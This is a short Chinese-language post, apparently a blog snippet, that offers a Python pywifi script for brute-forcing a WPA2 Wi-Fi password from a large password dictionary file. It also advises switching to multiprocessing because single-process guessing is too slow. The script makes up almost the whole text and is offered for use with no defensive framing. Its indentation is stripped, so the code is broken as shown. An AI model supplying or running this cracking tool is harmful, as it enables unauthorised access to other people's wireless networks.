说明:
- 需要wifi密码字典,把字典带入file里;
- 2秒试一个密码,单进程是不太可能炸出密码的,所以必须要改成多进程模式~
代码:
import pywifi,time
from pywifi import const
import os
os.chdir(r'C:\Users\super\Desktop')
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
iface.disconnect()
def crack(key='12345678',ssid='675887690'):
profile = pywifi.Profile() #创建wifi链接文件
profile.ssid = ssid #待破解的wifi SSID
profile.auth = const.AUTH_ALG_OPEN #网卡的开放,
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP #加密单元
profile.key = key
iface.remove_all_network_profiles()
iface.add_network_profile(profile)
iface.connect(profile)
time.sleep(1.8)
if iface.status() == const.IFACE_CONNECTED:return True
else:return False
with open('WIFI密码字典955M.txt') as f:
for content in f:
print(content.strip())
if content is not '' and crack(content.strip(),ssid='NAN'):
print(content)
print('cracked!')
break